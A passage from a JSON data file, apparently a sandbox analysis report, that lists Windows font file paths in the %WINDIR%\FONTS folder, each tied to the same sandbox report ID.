CANDARAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COMIC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COMICBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSOLA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSOLAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSOLAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSOLAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSTAN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSTANI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSTANB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CONSTANZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORBEL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORBELI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORBELB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORBELZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRAMD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRAMDIT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GABRIOLA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GEORGIA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GEORGIAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GEORGIAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GEORGIAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PALA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PALAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PALAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PALABI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEPR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEPRB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TREBUC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TREBUCIT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TREBUCBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TREBUCBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VERDANA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VERDANAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VERDANAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VERDANAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\WEBDINGS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COURE.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SERIFE.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SSERIFE.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SMALLE.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SMALLF.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\HATTEN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANTQUAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANTQUABI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANTQUAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BKANT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOTHIC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOTHICB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOTHICBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOTHICI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALNB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALNBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALNI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GARA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GARABD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GARAIT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MTCORSVA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\AGENCYB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\AGENCYR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARLRDBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ITCBLKAD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_B.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_BI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_I.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_R.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_BLAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_BLAR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_CB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_CBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_CI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_CR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOOKOS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOOKOSB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOOKOSBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOOKOSI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BRADHITC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIST.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALISTB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALISTBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALISTI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CASTELAR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CENSCBK.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SCHLBKB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SCHLBKBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SCHLBKI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COPRGTB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COPRGTL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CURLZ___.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ITCEDSCR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ELEPHNT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ELEPHNTI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ENGR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ERASBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ERASDEMI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ERASLGHT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ERASMD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FELIXTI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FORTE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRABK.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRABKIT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRADM.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRADMIT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRADMCN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRAHV.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRAHVIT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRAMDCN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRSCRIPT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GIGI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GILBI___.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GILB____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GILI____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GIL_____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GILC____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GILSANUB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GILLUBCD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GLSNECB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GLECB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOUDOS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOUDOSB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOUDOSI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GOUDYSTO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\IMPRISHA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LSANS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LSANSD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LSANSDI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LSANSI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LTYPE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LTYPEB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LTYPEBO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LTYPEO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MAIAN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\OCRAEXT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PALSCRI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PAPYRUS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PERBI___.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PERB____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PERI____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PER_____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PERTIBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PERTILI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PRISTINA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\RAGE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCK.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCKB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCKBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCKI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCCB___.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCC____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROCKEB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SCRIPTBL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCBI____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCB_____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCCM____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCCB____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCCEB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCMI____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TCM_____.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ALGER.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BASKVILL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BAUHS93.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BELL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BELLB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BELLI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BRLNSB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BRLNSDB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BRLNSR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BERNHC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BOD_PSTC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BRITANIC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROADW.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BRUSHSCI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIFB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIFI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIFR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CENTAUR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CHILLER.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COLONNA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COOPBL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FTLTLT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FREESCPT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\HARLOWSI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\HARNGTON.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\HTOWERT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\HTOWERTI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\JOKERMAN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\JUICE___.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ITCKRIST.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KUNSTLER.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LBRITE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LBRITED.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LBRITEDI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LBRITEI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LCALLIG.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LFAX.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LFAXD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LFAXDI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LFAXI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LHANDW.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MAGNETOB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MATURASC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MISTRAL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MOD20.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\NIAGENG.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\NIAGSOL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\OLDENGL.TTF"